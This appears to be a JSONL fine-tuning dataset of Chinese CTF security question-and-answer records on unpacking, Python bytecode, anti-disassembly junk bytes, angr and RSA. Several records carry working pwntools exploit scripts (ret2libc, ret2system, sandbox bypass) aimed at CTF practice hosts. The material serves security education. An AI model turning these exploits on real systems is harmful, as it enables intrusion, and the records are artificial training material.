py`\n\n```\npyinstaller 打包文件\n```\n\n- 解包\n\nexe 可以直接用 pyinstxtractor 解包，但是 elf 文件就需要将文件中的 pydata 段提取出来用 pyinstxtractor 解包。\n\n```\npython pyinstxtractor.py test.exe\n```\n\n```\nobjcopy --dump-section pydata=pydata.dump test\n```\n\n运行后会在当前目录下出现一个文件夹，往往是`源文件名_extracted`，此处为`text.exe_extracted`\n\n>该工具目前版本已经高于2.0，不需要再补全pyc文件的magic头部了", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9c3b3dfecabdccf0", "original_line": 721, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "普通打包", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9c3b3dfecabdccf0", "source_split": "train", "split": "train", "split_group_key": "248bc7bcda06ba2aa68a426e", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-93a41b7321f4827b13a1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“简介”？请用《UPX 脱壳详解》中的内容回答。", "role": "user"}, {"content": "1. UPX 壳是一种压缩壳，在 CTF 比赛中比较常见。\n2. 针对 UPX 壳有专业的脱壳工具，一般我们可以直接使用工具脱壳。\n3. 但是在比赛中往往不会让你那么简单就把壳脱掉，出题人会通过修改加壳程序的一些特征导致脱壳工具无法使用。\n4. 这个时候我们可以通过恢复修改掉的地方让工具继续奏效。\n5. 当然我们也可以直接手脱，手动脱壳我们就需要找到加壳程序的 OEP 然后 dump 文件内存。\n6. OEP 原始程序入口点。EP (Entry Point)，意即程序的入口点。而 OEP 是程序的原始入口点，一个正常的程序只有 EP，只有入口点被修改的程序（加壳），才会拥有OEP。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e5048d0e94b7c370", "original_line": 891, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "简介", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e5048d0e94b7c370", "source_split": "train", "split": "train", "split_group_key": "d3043c69fc9cc5ed8cba31b8", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-93d139b1ba8ba0ae8a8f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[CISCN 2019东北\\]PWN2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[CISCN 2019东北\\]PWN2\n关键词：p64、CISCN、PWN2、recvuntil、puts_addr、elf、puts、Input、your、sendline\n可用于训练的标准回答：\n### \\[CISCN 2019东北\\]PWN2\n\n#ret2libc #LibcSearcher\n```python\nfrom pwn import *\nfrom LibcSearcher import *\n\n#io=process(\"./[CISCN 2019东北]PWN2\")\nio=remote(\"node5.anna.nssctf.cn\",21851)\nelf=ELF(\"./[CISCN 2019东北]PWN2\")\ncontext(log_level=\"debug\",arch=\"amd64\")\n\nmain=0x4009a0\nrbx_rbp=0x0000000000400aec\nrdi=0x0000000000400c83\nrsi_r15=0x0000000000400c81\nret=0x00000000004006b9\noff=0x58\n\npayload=b'a'*off+p64(rdi)+p64(elf.got[\"puts\"])+p64(elf.plt.puts)+p64(elf.sym[\"main\"])\nio.recvuntil(\"Input your choice!\\n\")\nio.sendline(b\"1\")\nio.recvuntil(\"Input your Plaintext to be encrypted\\n\")\nio.sendline(payload)\nputs_addr=u64(io.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nsuccess(\"puts_addr -> {:#x}\".format(puts_addr))\n\nlibc=LibcSearcher(\"puts\",puts_addr)\nlibc_base=puts_addr-libc.dump(\"puts\")\nsh=libc_base+libc.dump(\"str_bin_sh\")\nsys=libc_base+libc.dump(\"system\")\npay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nio...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::f03b1b82b127b7ce", "original_line": 14, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[CISCN 2019东北\\]PWN2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "f03b1b82b127b7ce", "source_split": "test", "split": "train", "split_group_key": "613df4990fede25170aadec3", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9401ab937a1f77fa739d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“列表”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 列表\n关键词：LOAD_CONST、BUILD_LIST、list、STORE_NAME、CALL_FUNCTION、RETURN_VALUE、LOAD_FAST、对应、。\n\n通过列表推导式（语法糖）构建列表：、对应语句\n蒸馏要点：\n- `BUILD_LIST`用于创建一个`list`。\n- 对应`k = [1,2]`。\n- 通过列表推导式（语法糖）构建列表：\n- 对应语句`a = [i+2 fo i in range(32)]`。\n可用于训练的标准回答：\n#### 列表\n\n`BUILD_LIST`用于创建一个`list`。\n\n例如：\n\n```\n0 LOAD_CONST   0 (1)\n2 LOAD_CONST   1 (2)\n4 BUILD_LIST   2\n6 STORE_NAME   0 (k)\n```\n\n对应`k = [1,2]`。\n\n通过列表推导式（语法糖）构建列表：\n\n```\n0 LOAD_CONST        0 (>)\n2 LOAD_CONST        1 ('')\n4 MAKE_FUNCTION     0\n6 LOAD_NAME         0 (range)\n8 LOAD_CONST        2 (32)\n10 CALL_FUNCTION    1\n12 GET_ITER\n14 CALL_FUNCTION    1\n16 STORE_NAME       1 (a)\n18 LOAD_CONST       3 (None)\n20 RETURN_VALUE\n```\n\n```\nDisassembly of >\n0 BUILD_LIST    0\n2 LOAD_FAST     0 (.0)\n4 FOR_ITER      12(to 18) 循环到18\n6 STORE_FAST    1 (i)\n8 LOAD_FAST     1 (i)\n10 LOAD_CONST   0 (2)\n12 BINARY_ADD\n14 LIST_APPEND  2\n16 JUMP_ABSOLUTE 4\n18 RETURN_VALUE\n```\n\n对应语句`a = [i+2 fo i in range(32)]`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e61bd75c41138110", "original_line": 961, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "列表", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e61bd75c41138110", "source_split": "train", "split": "train", "split_group_key": "333b90da626cfc6a2cf24bce", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-949e5968e83654429bc0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“关于花指令的构造”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 关于花指令的构造\n关键词：jmp、- **gcc内嵌汇编**、接下来我们介绍常见的花指令实现方式和清除方法。\n\njmp指令、jmp s\n\t_emit 0xe9;\ns:、include、asm、emit、printf、hello、world\n蒸馏要点：\n- 构造永恒跳转，插入垃圾数据\n- 我们通过在代码中内嵌汇编指令实现插入花指令。在不同的编译器中我们嵌入汇编的格式也不同。\n- 主要的编译器分别为 msvc 和 gcc，我们每个例子都会写出两种不同编译器的实现方法。\n- **msvc内嵌汇编**\n- **gcc内嵌汇编**\n- *常用的脏字节编码**\n- 构造跳转使插入的垃圾数据不被执行来欺骗反编译器。\n可用于训练的标准回答：\n## 关于花指令的构造\n\n花指令的名言：\n\n> 构造永恒跳转，插入垃圾数据\n\n我们通过在代码中内嵌汇编指令实现插入花指令。在不同的编译器中我们嵌入汇编的格式也不同。\n\n主要的编译器分别为 msvc 和 gcc，我们每个例子都会写出两种不同编译器的实现方法。\n\n- **msvc内嵌汇编**\n\n```c\n#include\nint main() {\n\t#嵌入汇编代码\n\t__asm {\n\t\tjmp s;\n        #emit指令用于插入垃圾数据\n\t\t_emit 0xe9;\n\ts:\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n- **gcc内嵌汇编**\n\n```c\n#include\nint main() {\n\t#gcc编译器内嵌汇编\n\t__asm__ __volatile__ (\n        \"jmp s\\n\\t\"        // 跳转指令，跳转到s标签\n        \".byte 0xe9\\n\\t\"   // 插入字节0xC7\n        \"s:\\n\\t\"            // s标签\n    );\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n**常用的脏字节编码**\n\n构造跳转使插入的垃圾数据不被执行来欺骗反编译器。\n\n如果我们插入的花指令是一个操作码，那么后面程序原本的机器猫就会被误认为是这个操作码的操作数，从而导致反汇编引擎的解析错误。\n\n我们将插入的垃圾数据称为脏字节。\n\n下面就是我们插入花指令常用的脏字节。\n\n```\ncall immed16     ---->    E8    // 3字节指令，immed16为2字节，代表跳转指令的目的地址与下一条指令地址的距离\ncall immed32     ---->    9A    // 5字节指令，immed32为4字节，代表跳转指令的目的地址与下一条指令地址的距离\njmp  immed8      ---->    EB\njmp  immed16     ---->    E9\njmp  imm...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7b6ab322b9a002dd", "original_line": 843, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "关于花指令的构造", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7b6ab322b9a002dd", "source_split": "train", "split": "train", "split_group_key": "0197f23fe0cf677216a21975", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-94c046c74b0986de9927", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“2024网鼎杯pwn02”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“2024网鼎杯pwn02”。\n语言/类型：c\n关联知识点：\n- 题目描述：某单位服务器的一项服务端口无意暴露出来，请根据给出的附件进行调试，测试是否存在安全漏洞。\n- 32程序，无`canary`和`PIE`保护\n- IDA打开分析，在IDA字符串表中发现`/bin/sh`字符串\n- 函数表发现后门函数`gift`\n- `vuln`函数中发现栈溢出漏洞，但只溢出两个字长，只能覆盖`ebp`和返回地址。\n代码片段：\n```c\n➜ checksec ./short\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0161b24a17d560d9", "original_line": 640, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "2024网鼎杯pwn02", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0161b24a17d560d9", "source_split": "train", "split": "train", "split_group_key": "8a7720b85b0e483ad13bd576", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-94e9d91b53ebe2c9c73f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[HNCTF 2022 Week1\\]ezr0p32”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[HNCTF 2022 Week1\\]ezr0p32”。\n语言/类型：python\n代码片段：\n```python\nfrom pwn import *\n\n#io=process(\"./ezr0p\")\nio=remote(\"node5.anna.nssctf.cn\",23450)\nelf=ELF(\"./ezr0p\")\ncontext(log_level=\"debug\",arch=\"i386\")\n\nsys=elf.plt.system\nbss=0x804a080\nio.sendlineafter(b'please tell me your name\\n',b'/bin/sh')\noff=32\npayload=b'a'*off+p32(sys)+p32(0)+p32(bss)\nio.sendlineafter(b\"now it's your play time~\\n\",payload)\n\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::7eb248ae442cf649", "original_line": 55, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[HNCTF 2022 Week1\\]ezr0p32", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "7eb248ae442cf649", "source_split": "test", "split": "train", "split_group_key": "3b2461bb320287565976fd24", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-94ed7293410d9953ea84", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“onCreate”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. 在代码中的`onCreate`部分主要初始化了`HistoryManager`，传入`getApplicationContext()`函数的返回值，`getApplicationContext()`返回 Application 级别的全局 Context。\n2. `onCreate`方法最后执行以下代码：\n3. 在`onCreate`完成后调用`handleIntent(getIntent())`：用于处理启动该 Activity 的 `Intent`（包括 Deep Link）。也就是说无论是从 launcher 启动还是通过深度链接启动，都会处理一次传入的`Intent`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf"], "original_id": "chatml::train::distilled_training_data::train::283fed84b28ff108", "original_line": 803, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "onCreate", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "283fed84b28ff108", "source_split": "train", "split": "train", "split_group_key": "6c19d856caaf72c12bb25105", "tags": ["ctf"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9889d51b3d7545e245c1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“更高效的 state 执行管理”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“更高效的 state 执行管理”。\n语言/类型：python\n关联知识点：\n- `state.step()`​ 只能执行一个基本块，如果想连续执行，就需要手动添加循环，并且管理路径，十分麻烦。\n- 为了解决这个问题，angr 中使用 Simulation Managers (simgr) 来管理 state，使用更加高级的路径执行策略、搜索策略等。\n- 使用 Project 提供的工厂函数` proj.factory.simulation_manager`​ 就能从一个 state 创建 simgr。\n- simgr 将管理的 state 按照不同类型分类，并存入对应的 stash 列表：\n- `simgr.active`​ ：活跃 state 列表，simgr 每次单步执行，会执行 active 中所有的 state。\n代码片段：\n```python\nstate = proj.factory.entry_state()\nsimgr = proj.factory.simulation_manager(state)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4f9e658a3b7114db", "original_line": 700, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "更高效的 state 执行管理", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4f9e658a3b7114db", "source_split": "train", "split": "train", "split_group_key": "525dbd53b59b5e00ca449688", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-997c1734a1de21a79697", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“内存权限修改”？请用《SMC自修改代码》中的内容回答。", "role": "user"}, {"content": "1. 在不同的系统中定义有不同的 API 函数来修改内存权限。\n2. 在 Linux 系统中，可以通过`mprotect`函数修改目标内存的权限。\n3. `mprotect`是 Linux 系统的一个 API 函数，可以改写内存权限。这个函数的原型如下：\n4. 第一个参数：开始地址（为了页对齐，该地址必须是一个内存页的起始地址，即页大小整数倍，1 页 = 4k = 0x1000）\n5. 第二个参数：指定长度（长度也应该是页的整倍数，即 0x1000 的整数倍）\n6. 第三个参数：指定属性（r=4（读）、w=2（写）、x=1（执行））", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1c3318bb0a9872a3", "original_line": 740, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "内存权限修改", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1c3318bb0a9872a3", "source_split": "train", "split": "train", "split_group_key": "301de458d986f5a6848eae4a", "tags": ["reverse", "ctf-method"], "title": "SMC自修改代码", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-99d6e91d026429286d60", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Hash 类算法》中“[SUCTF 2018 招新赛]hash”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Hash 类算法》的“[SUCTF 2018 招新赛]hash”。\n语言/类型：python\n关联知识点：\n- ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。\n- 使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。\n- 结合上面信息分析程序代码逻辑。\n- 程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。\n- 下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。\n代码片段：\n```python\nmd5=\"bf772f6ed89838b9gb9f7abf3cc09413\"\nmd5=list(md5)\nfor i in range(len(md5)):\n\tif i&1 == 0:\n\t\tmd5[i]=chr(ord(md5[i])^1)\nresult=\"\".join(md5)\nprint(result)\n#cf673f7ee88828c9fb8f6acf2cb08403\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0f4ec74068ed7dbb", "original_line": 1084, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[SUCTF 2018 招新赛]hash", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0f4ec74068ed7dbb", "source_split": "train", "split": "train", "split_group_key": "7351a1e8df345ebb0c91ea3f", "tags": ["reverse", "crypto", "ctf-method"], "title": "Hash 类算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9a2f669e12a7a533bd4c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ezorw”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ezorw\n关键词：libc、elf、ELF、payload、rsi、rdx、read、write、open、readv、writev、execveat、arch、address、stack\n蒸馏要点：\n- 禁止了`read、write、open、readv、writev、execveat`等系统调用。\n- 常规的 orw 并不奏效，但是我们可以通过相似系统调用来绕过沙箱。\n可用于训练的标准回答：\n### ezorw\n\n沙箱题\n\n禁止了`read、write、open、readv、writev、execveat`等系统调用。\n\n常规的 orw 并不奏效，但是我们可以通过相似系统调用来绕过沙箱。\n\n```\n line  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x35 0x00 0x01 0x40000000  if (A  0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\nlibc=ELF(\"./libc-2.31.so\")\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\npayload=b\"%13$p%15$p\".ljust(0x28,b\"a\")+p64(0x4010b0)\ns(payload)\nru(\"welcome to YLCTF\\n\")\nlibc.address=int(r(14),16)-0x024083\nstack=int(r(14),16)-0x120\n\nlg(\"base:\",libc.address)\nlg(\"stack:\",stack)\n\ngetshell=libc.address+0xe3b01\n\"\"\"\n0xe3b04 execve(\"/bin/sh\", rsi, rdx)\nconstraints:\n  [rsi] == NULL || rsi == NULL || rsi is a valid argv\n  [rdx] == NULL || rdx == NULL || rdx is a valid envp\n\"\"\"...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::93f2e8904e193e87", "original_line": 88, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ezorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "93f2e8904e193e87", "source_split": "validation", "split": "train", "split_group_key": "f230a664010821d3a030b180", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9b5d461bee27d693b557", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“乘法逆元”？请用《RSA与大数运算》中的内容回答。", "role": "user"}, {"content": "1. 乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。\n2. 在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：\n3. a×a−1≡1(mod\\ p)a \\times a^{-1} \\equiv 1 \\pmod{p}a×a−1≡1(mod\\ p)\n4. 其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。\n5. 如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。\n6. 在有限域中，情况稍微复杂一些，但基本思想是相同的。有限域中的每个非零元素都有一个乘法逆元。具体地说，对于有限域中的元素$a$，它的乘法逆元记作$a^{(-1)}$，满足以下条件：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::69bbd01018092445", "original_line": 882, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "69bbd01018092445", "source_split": "train", "split": "train", "split_group_key": "0b915fbb917312f5e0b1c6d4", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
